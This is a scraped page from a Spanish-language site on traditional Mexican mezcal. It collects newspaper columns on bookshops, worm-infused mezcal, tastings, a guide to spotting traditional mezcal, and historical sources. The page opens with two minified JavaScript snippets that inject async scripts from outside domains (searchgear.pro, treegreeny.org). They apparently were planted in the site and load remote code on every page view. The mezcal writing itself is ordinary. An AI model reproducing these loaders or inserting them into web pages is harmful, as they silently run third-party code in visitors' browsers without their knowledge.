;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » Publicaciones

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145. Librerías de viejo en el DF y mezcal


Las librerías de viejo son inagotables vetas para reconstruir la historia de los mezcales tradicionales (MT). En ellas he encontrado libros, folletos, revistas, periódicos, fotografías y otros materiales que arrojaron extraordinarios datos, algunas veces copiosos y en otras brevísimos, pero todos valiosos. Daré ejemplos de lo hallado.

En El Atico (Alvaro Obregón 118-B, Roma) conseguí una tesis sobre mezcal oaxaqueño, escrita en 1943, con cuadros sinópticos que detallan características químicas de mezcales de distintas poblaciones.

En la Madero (Isabel la Católica 97, Centro Histórico), adquirí la Historia de la industria Tequila Sauza. Tres generaciones y una tradición escrita en 1963, y que comentaré en otra columna; también merqué el relato Lucifer, el tequila del infierno, de Eugenio Aguirre,  editorial Los Reyes, 2004.

En El Hallazgo (Mazatlán 30, Condesa) conseguí la segunda edición de Estudios Históricos y Estadísticos del estado libre de Oajaca, tomos I y II, de Juan B. Carriedo, publicados originalmente en 1847. Ya en 1949, los Talleres Gráficos de Adrián Morales editaron la obra en la colección “Biblioteca de Autores y de Asuntos Oaxaqueños”.

En Bibliofilia (Donceles 78-2, Centro Histórico) encontré Novelas cortas, tomo II, deJosé López Portillo y Rojas, publicado por la imprenta de V. Agüeros en 1900 en la colección “Biblioteca de Autores Mexicanos”; es en la novela “Nieves” donde se mencionan aspectos sobre la elaboración del tequila a fines del siglo XIX.

Invito al lector a que hoy, 15 de septiembre, vaya a la librería Jorge Cuesta(Liverpool 12, col. Juárez) a festejar su primer aniversario, en el que habrá actividades culturales diversas desde las 11 a.m. Entre ellas, una saboreada de MT a las 19 horas, en la que el maestro tabernero Miguel AngelPartida, de Zapotitlán, Jalisco, presentará tres de sus mezcales. Cuota de recuperación: $130. Estarán a venta la Breve guía del mezcal, de Ulises Torrentera, y la Revista Ciencias # 87 de la UNAM, dedicada a los magueyes.

http://www.milenio.com/cdb/doc/impreso/9158903

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144. Mezcal en el Museo de Antropología


Durante la última semana de agosto, la Logia de los Mezcólatras dedicó sus sesiones a saborear tres mezcales tradicionales (MT) elaborados en Santa María Zumpahuacán, Estado de México, por el maestro mezcalillero José LuisMedina, todos elaborados con maguey silvestre al que regionalmente llaman Criollo, que en realidad son alrededor de 15 variedades, por lo que -casi siempre- estos MT se hacen mezclando diferentes variedades de maguey Criollo. Otro elemento constitutivo del gusto histórico de esta región, es el uso de un alambique de metal, que lleva como capitel o montera un tronco de zompantle o colorín ahuecado al que llaman cascomite.

Los mezcales saboreados fueron los siguientes:

1) mezcal elaborado en2006 a47.1º, producción de600 litros;

2) mezcal elaborado en2008 a45.2º, producción de700 litros;

3) mezcal de puntas elaborado en abril de2006 a 55.1º, producción de23 litros. Para éste,José Luis empleó sólo una cabeza o piña de maguey, o sea que lo hizo con una sola variedad de maguey Criollo, razón por la que el volumen fue tan reducido, otorgándole a este MT una rareza excepcional. Además, en la destilación utilizó un cascomite nuevo.

Frente a esta tradición mezcalera del Estado de México, ya es hora de quela inútil Denominaciónde Origen Mezcal, instrumento violatorio de derechos humanos de muchos productores y consumidores de MT, sea revisada, pues no es posible que arbitrariamente se ilegalicen tradiciones mezcaleras de muchas regiones del país anteriores a la creación de México.

Quien desee conocer en persona al maestro mezcalilleroJosé LuisMedina, asista mañana domingo a las 11:00 horas al vestíbulo del Museo Nacional de Antropología, donde dará una sabrosa plática sobre los mezcales tradicionales (MT) y el pulque que elabora, entre otras actividades que él realiza. Y quien desee conocer cómo se juegala Pelota Mixteca, ahí mismo pero a las a las 12:00, habrá una exhibición de jugadores oaxaqueños, quienes también son expertos catadores de los MT de Oaxaca.

http://www.milenio.com/cdb/doc/impreso/9158254

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143. Mezcal con gusano: ¿es una tradición?

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¿Desde cuándo se adicionan belatobes al mezcal en Oaxaca? La respuesta no es sencilla y tampoco única; hay una que tiene cierto consenso y ha sido expresada por distintas personas en fechas pasadas y recientes. Esta señala que en la década de los 50’s del siglo XX, un envasador de mezcal decidió adicionarlos como táctica comercial que, al resultar exitosa, se volvió una estrategia permanente para su comercialización, a punto tal que hoy muchas personas -infundadamente- están convencidas de que 1) el mezcal, para serlo, debe de incluir belatobes o gusanos en la botella, sin importar de qué estado de la república mexicana provenga; 2) que el gusano le otorga propiedades afrodisíacas al mezcal; 3) que el gusano añadido a la botella concentra toda la fortaleza del mezcal. Esta respuesta implicaría que adicionar gusanos no es una práctica tradicional.

Por mi parte, debo decir que a través de mi padre y de mi madre (ambos nacidos en Ejutla de Crespo, Oaxaca, en 1914 y 1924 respectivamente) supe que al menos desde 1920, en Ejutla, ya se acostumbraba adicionar belatobes a botellas o garrafones con mezcal. Esto se hacía en las casas particulares o en las tiendas del pueblo, y en ambos casos el mezcal era comprado a los maestros mezcalilleros de la región sin belatobes, generalmente los días miércoles, cuando aquéllos llegaban anticipadamente de distintas poblaciones (Amatengo, La Noria, Yogana, San Vicente Coatlán, Andrés Niño, etc) con el fin de estar listos para vender sus exquisitos destilados el jueves, día de plaza en esta población.

Adquirido el mezcal, los particulares o dueños de tiendas compraban belatobes vivos o sancochados a quienes se dedicaban a colectarlos, y entonces procedían a adicionarlos a su mezcal. Pero era también costumbre adicionar otros ingredientes: poleo llamado también hierba de borracho, cedrón, hierba maestra, estafiate, xixovo o nanche,  chabacanos, manzana criolla y cáscara de naranja, sea por darle placer al sentido del gusto o para uso medicinal.

http://www.milenio.com/cdb/doc/impreso/9157614

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142. Belatobes y mezcal


Adicionar belatobes o gusanos al mezcal es una práctica acostumbrada, hasta donde sé, sólo en algunas regiones de Oaxaca. Por qué se hace y desde cuándo, son temas que han generado polémica, como también el sabor y aroma que resulta de tal adición y el producto final, llamado mezcal de gusano. ¿Cómo se lleva a cabo esta práctica?

Los belatobes se adicionan al mezcal, ya elaborado, de dos maneras: sancochados al comal o vivos. En el primer caso son puestos –vivos- al comal bien caliente y se sancochan hasta el punto en que, al partirse con los dedos, escurra la grasa que contienen, pues de pasarse el sancochado sólo quedará la cáscara del insecto y nada de aroma ni sabor; hecho ésto, se adicionan a la botella o contenedor donde se almacena el mezcal que desea curarse o abocarse. En el segundo caso, simplemente se adicionan vivos al mezcal. En ambos, la cantidad de belatobes a adicionar se decide conforme al gusto de quien lo hace.

Si se usan belatobes sancochados, éstos tardan de dos a tres meses en soltar todo su aroma y sabor si se adicionaron a un mezcal con 50º promedio; si se adicionaron a un mezcal de puntas, tardan un mes. Pasado este tiempo, el mezcal adquirirá aroma y sabor a belatobes salobres y, hasta cierto punto, salados, como efecto de la cocción y deshidratación de los insectos. Con el tiempo, digamos un año, es posible que estos sabores y aromas se atenúen.

Si se usan belatobes vivos, éstos tardan más en soltar sus aromas y sabores al adicionarlos al mezcal, tenga 50º o sea de puntas, y le darán un aroma y sabor de belatobe dulce con permanencia muy, muy larga.

Un detalle importante a observar es el perleado del mezcal. Si uno tiene dos botellas del mismo mezcal y a una se le adicionan belatobes y pasan tres meses, al venenciar los mezcales sus perleados diferirán, al punto de parecer producciones distintas.

El mezcal de gusano será agradable o no dependiendo de quien lo pruebe, pues si no le agrada el belatobe, difícilmente le gustará el mezcal abocado con él.

http://www.milenio.com/cdb/doc/impreso/9156962

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141. Belatobes, sal de gusano y mezcal


En la edición facsimilar del Vocabulario en lengua Zapotecade Fray Juan de Córdova (texto originalmente publicado por Pedro Ochartey Antonio Ricardo en México el año de 1578) impresa en 1987 por Ediciones Toledo y el INAH, se encuentran las siguientes entradas (las citas se transcriben, en lo posible, lo más cercano al original):

“Arbol gñalmente. Yàga, yàgayàha.”

“Maguey árbol desta tierra. Tòba. yàgatòba”

“Gusano que come el maguei. Pèlatòba”

A los gusanos que se alimentan –y son plaga- del corazón o piña del maguey mezcalero en las zonas de influencia zapoteca de los Valles Centrales de Oaxaca, se les conoce como belatobes; también se alimentan de las raíces de plantas como el San Fernando, el chamizo y el xonaxe, ésta última considerada como la que les da mayor calidad e intensidad en sabor y aroma pues, como se  sabe, son utilizados en la gastronomía regional para salsas, sal de gusanitos y como aditivo para el mezcal. Estos insectos, al llegar a su madurez, se metamorfosean (si no son colectados antes) en mariposas.

Cuando son colectados en el xonaxe, en cada planta puede haber 10 ejemplares; cuando se hace en los magueyes mezcaleros de cultivo, pueden encontrarse hasta 800. En ambos casos, los tiempos de colecta son distintos: el primero al inicio de las lluvias; el segundo en los días de la conmemoración de fieles difuntos.

Si se muelen sal, belatobes sancochados al comal y chiles taviches rojos y tostados, tendremos sal de gusanitos, conforme a una receta que se usa en la región de Ejutla y Miahuatlán. Si se cuenta con taviches verdes, se molcajetean junto con gusanos sancochados y sal; a la pasta resultante se le adiciona un poco de agua y se obtiene una exquisita salsa de gusanitos.

El viernes 24 inauguraremos la exposición Tradición del maguey en México, formada por imágenes participantes en el “Primer concurso de fotografía digital” organizado por www.mezcalpedia.com. Será enla librería Jorge Cuesta: Liverpool 12, col. Juárez, DF, 17 horas. Abierta: lunes a domingo.

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140. Mezcales de 52°


Esta semana, la Logia de los Mezcólatras saboreó tres mezcales tradicionales (MT) con la misma riqueza alcohólica: 52°. Se buscaba con ello tres objetivos: 1) verificar que pese a tener la misma graduación, los MT muestran perleados diferentes aunque con rasgos comunes (se forma doble capa de duración brevísima, luego queda sólo una capa de perlas medianas y grandes de corta duración); 2) entender que la riqueza alcohólica, cuando se trata de MT, no debe confundirse con la intensidad de aromas y sabores; 3) comprobar que el tiempo que pasa un MT en vidrio lo hace madurar, lo que debe entenderse como un redondeo de aromas y sabores y disminución de la sensación alcohólica en nariz y boca.

Es indispensable aclarar que el hecho de que los tres coincidieran en graduación fue mera -y muy útil- casualidad, pues cada producción es única e irrepetible y, por ende, las graduaciones siempre varían, a veces por décimas. Es decir, cada maestro mezcalillero ajustó la graduación conforme al perleado, aroma y sabor de su gusto histórico regional y personal.

Los MT fueron:

Mezcal de maguey Mexicano cultivado (10 a 13 años) y maguey Tobasiche semisilvestre (8 años), elaborado por el maestro mezcalillero José García en Yogana, Ejutla, Oaxaca, en abril de 2004.

Mezcal de maguey Barril cultivado (de 10 a 13 años), elaborado por el maestro mezcalillero Gregorio Hernández en La Compañía, Ejutla, Oaxaca, en febrero de 2005.

Mezcal de maguey Alto silvestre (8 a 10 años), elaborado por el maestro vinatero Pedro Soto en Real de Otzumatlán, Queréndaro, Michoacán, en noviembre de 2008. En su elaboración se agregó pulque de maguey Manso en la fermentación, lo que se evidenció al mostrar un perleado más abundante y duradero.

Para quienes gustan disfrutar del Centro Histórico del DF, les avisamos que todos los viernes a partir del 17 de agosto, Salón Luz será anfitrión de la Logia de los Mezcólatras en sesiones que iniciarán puntualmente a las 19 horas. La ubicación es en Gante 21 esq. Venustiano Carranza.

http://www.milenio.com/cdb/doc/impreso/9155695

139. Diferencias entre maguey y caña


El 5 de julio la Logia de los Mezcólatras comparó destilados elaborados con distintas materias primas: 1) aguardiente de caña de Veracruz a 51.1°, llamado en la región refino; 2) ron agrícola (http://bit.ly/OvE1cJ) de caña de azúcar a 55°, elaborado en la isla Martinica ubicada en el mar Caribe; 3) mezcal tradicional de Oaxaca a 53.2° elaborado con maguey Espadín. El objetivo fue identificar los aromas y sabores básicos de los destilados elaborados con caña de azúcar y de los elaborados con maguey, en ambos casos contando con destilados de verdadera calidad.

Conforme al método acostumbrado, los destilados fueron sometidos a pruebas sensoriales de tipo visual, táctil, olfativo y gustativo.

Las pruebas visuales consistieron en observar la transparencia de c/u de ellos y, en su caso, identificar si había o no presencia de tonalidades específicas; en seguida se procedió a venenciarlos para corroborar si se presentaba perleado y observar en éste el nivel de riqueza alcohólica y viscosidad.

La prueba táctil fue simple: colocar una gota de cada destilado en la yema del dedo índice para frotarlo con el pulgar, acción en la que se percibe la aceitosidad de un producto puro, bien elaborado y que no ha sido adulterado con adicionantes para espesarlo (glicerina, caramelos, edulcorantes), como se hace con la casi totalidad de bebidas industriales.

Para la parte olfativa, se frotaron en las manos algunas gotas de cada destilado hasta secarse para identificar el dejo que queda entre ellas, aroma que debe corresponder, en el caso del mezcal, al del maguey cocido en horno de tierra; y en el caso del refino y del ron, al de la caña de azúcar o, más específicamente, al aroma de un trapiche de caña. En seguida, se contrastaron, alternadamente, los aromas de cada destilado para identificar las diferencias.

A nivel gustativo, ya en boca, se saborearon los tres exquisitos líquidos, a los que se sumó, como merecido pilón, un extraordinario aguardiente de caña elaborado en Putla, Oaxaca, a 60.1°.

http://www.milenio.com/cdb/doc/impreso/9155016


I

Cuando quieras saber si un mezcal es tradicional (MT), haz lo que sigue:

1. Si está envasado bajo marca comercial busca en la etiqueta la frase 100% Agave, indicativo de que está hecho solamente de maguey; en realidad sólo de eso puede ser el MT.

2. Revisa en la etiqueta que la riqueza alcohólica o graduación mínima sea de 45% alc. vol. Los MT casi siempre tienen más de 45°, pudiendo alcanzar hasta 79°.

3. Asegúrate que la etiqueta indique el nombre del maestro mezcalillero, población específica donde vive, estado, tipo de maguey usado, descripción del horno, de las cubas de fermentación, tipo de alambique empleado, número de destilaciones, forma de ajustar el grado alcohólico, litros producidos y fecha de elaboración.

4. Agita la botella de arriba a abajo para observar el perleado; si no hay, no es MT, a menos que sea un mezcal de 55% alc. vol. o más, por lo que la perla sólo se formará mientras lo agites. A estos mezcales se les llama de puntas.

5. Evita mezcales pasados por barrica: la madera destruye los sabores y aromas más finos del mezcal (incluyendo los tequilas, si es que existen). Puedes detectarlos porque toman un color amaderado. Los MT son incoloros, sin excepción.

6. Si quien te vende el mezcal te lo da a probar, pon en tus manos una gota del mismo y frótalas hasta que se seque el destilado; debe quedarte en las manos el olor inconfundible de maguey cocido en horno de tierra, forma de cocción que se lleva a cabo en todos los MT. Si te huele a alcohol de caña, saca tus propias conclusiones.

7. Cuando pruebes el mezcal, de preferencia hazlo en jícara de bule o en jomate; de no tener alguno de ellos, pide que te lo sirvan en un vaso de boca ancha.

8. Si puedes pedir otro vaso vacío, vierte el mezcal de uno a otro a una altura de 20 cm de diferencia para observar el perleado que se forma. Si no hay perleado, no es MT, a menos que sean puntas, como se dijo en el punto 4.

Para saborear mezcales de puntas: martes 24, 20 horas, San Luis Potosí 121, col. Roma, DF, en SINESTESIA.

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[Publicado el sábado 28  de julio de 2012]

II

9. Si hay perleado, procede a oler el mezcal. El primer olor a detectar es el que percibiste al frotar la gota de mezcal en tus manos: de maguey cocido en horno de tierra. Después descubrirás, de acuerdo a la agudeza de tu sentido del olfato, diferentes aromas del mezcal. Sugiero que al oler hagas lo siguiente: cierra los labios y huele el mezcal; en seguida, entreábrelos y huele de nuevo. Te sorprenderás.

10. Toma un pequeño sorbo de mezcal (5 ml) y enjuágate la boca con él durante 10 segundos; detén el enjuague y, sin tragarlo, deja que salgan los vapores por la nariz durante 5 segundos, entonces trágalo y atiende lo que percibe tu paladar. Toma otro sorbo, paséalo por tu boca 10 segundos y saboréalo para después tragarlo; ahora atiende los aromas y sabores que regresan del estómago, que son los más finos y exquisitos del mezcal. Pasados algunos minutos, tu lengua y paladar estarán impregnados del sabor y aroma del maguey cocido y de otros más que tiene un MT, sensación que puede durar más de 1 hora. Detalle importantísimo es que al saborear MT, aunque sea de puntas -por tanto de muy alta graduación-, siempre prevalecerán los aromas y sabores sobre la intensidad alcohólica. Si persiste lo alcohólico, no es MT.

11. Cuando el mezcal a evaluar no esté embotellado por una marca comercial, haz lo siguiente: a) pide la información de los puntos 1 a 3 a quien lo vende; b) respecto al punto 4 (agitar la botella para verificar el perleado), pide a quien lo vende que te muestre el perleado; c) enseguida, continúa con los puntos 5 a 10.

12. Si atendiste los once puntos y el destilado los pasó satisfactoriamente, sí es un MT; si éste te resultó exquisito, paga el precio que te pidan por él.

Cabe decir que un MT, aunque sea de gran calidad, puede no gustarte, pues el paladar es algo estrictamente personal y está condicionado por la cultura gastronómica en la que creciste.

Si esta guía te permitió identificar MT, no seas egoísta: compártelos con más personas y con el autor de esta columna.

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136. Oaxaca festeja 80 años de Guelaguetza


Maestro Mezcalillero Gregorio Hernández. La Compañía, Ejutla, OaxacaDisfrutando una jícara con mezcal de puntas de maguey Barril y San Martinero a 60.5°, vino a mi memoria el 80 aniversario del Homenaje racial a la Ciudad de Oaxaca que, con motivo de los 400 años de su fundación, organizó el gobierno estatal de Francisco López en abril de ése año. El homenaje, antecedente de las fiestas del Lunes del Cerro o Guelaguetza, tuvo como fin que las diferentes “razas” (según documento del comité organizador) provenientes de distintas regiones del estado, rindieran honores a la ciudad de Oaxaca.

En la Guelaguetza actual, “destaca el espectáculo de música, danza, bailes y cantos en el que cada delegación presenta una muestra de su patrimonio cultural, vistiendo indumentaria de sus respectivos pueblos. Al terminar su participación, cada grupo distribuye entre el público su Guelaguetza compuesta por productos característicos de sus respectivas regiones” (www.oaxaca.travel/guelaguetza2012/sitio_2.html). Respecto al origen del evento, vale la pena revisar Tipos raciales y proyectos culturales en Oaxaca, 1920-1940, Deborah Poole, ACERVOS (boletín de los archivos y bibliotecas de Oaxaca) #16, abril-junio de 2000.

Al visitar Oaxaca en esta o en cualquier temporada, obligado es acercarse a su gastronomía, declarada patrimonio cultural inmaterial (PCI) por el Congreso local en 2008, PCI del que son parte fundamental los Mezcales Tradicionales.

Quienes visiten Oaxaca en esta temporada y quieran conocer exquisitos MT, soliciten la “Guía para identificar un MT” en info@mezcalestradicionales.com.mx, imprímanla y utilícenla para que no les den gato por liebre. Quienes no viajen a Oaxaca, asistan el martes 17 a las 20 horas, en el DF, a SINESTESIA (San Luis Potosí 121, Roma). Saborearemos tres MT elaborados sólo para ocasiones especiales: 1) mezcal de frutas criollas de El Sauz, Ejutla, Oaxaca, 54°; 2) mezcal destilado con frutas, en olla de barro, en Xoyatla, Tepeojuma, Puebla, 47.9°; 3) mezcal de pechuga destilado en Río de Parras, Queréndaro Michoacán, 50.2°.

http://www.milenio.com/cdb/doc/impreso/9153126

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Existen muchas fuentes en las que se trata el tema del maguey y del mezcal. Citaré dos, ambas publicadas por Editorial Porrúa.

La primera es el Ensayo político sobre el reino de la Nueva España de Alejandro de Humboldt, publicado originalmente en Tubinga (actualmente Alemania) en 1809. El autor menciona que: “Destilando el pulque se hace un aguardiente llamado mezcal, o aguardiente de maguey que embriaga mucho. Me han asegurado que la planta que cultivan para destilar el jugo difiere esencialmente del maguey común o de pulque: me ha parecido más pequeña y las hojas menos glaucas; como no la he visto en flor no puedo juzgar de la diferencia de ambas especies.” Adelante afirma: “El gobierno español, particularmente la Real Hacienda, hace mucho tiempo que persigue con todo rigor el mezcal, que está severamente prohibido, porque su uso perjudica el comercio de los aguardientes de España. Sin embargo, se fabrica una cantidad enorme en las intendencias de Valladolid, México y Durango, principalmente en el nuevo reino de León”.



La segunda fuente es  México y sus revoluciones de José María Luis Mora, publicada en París en 1836. Mora nos dice que: “Entre los productos de las regiones templadas de México no figuran poco los del maguey: de esta utilísima planta, casi exclusiva del país, se extraen dos géneros de bebidas de un consumo puramente interior pero generalísimo. El pulque es el jugo que destila el corazón raspado de esta planta, en la cual se forma una oquedad que sirve de recipiente a la destilación de las pencas u hojas que lo dan: fermentado más o menos es una bebida saludable y refrigerante. El mezcal pertenece a la clase de aguardientes, y es una destilación hecha a fuego del pulque, o de la penca del maguey mediante la operación del alambique. Esta planta ministra igualmente materiales para cordaje, que nunca llega a ser tan flexible ni tan fuerte como el del cáñamo.”

Ambas obras, de obligada lectura, pueden compararse en www.porrua.mx o en las librerías de la editorial.

http://www.milenio.com/cdb/doc/impreso/9152495

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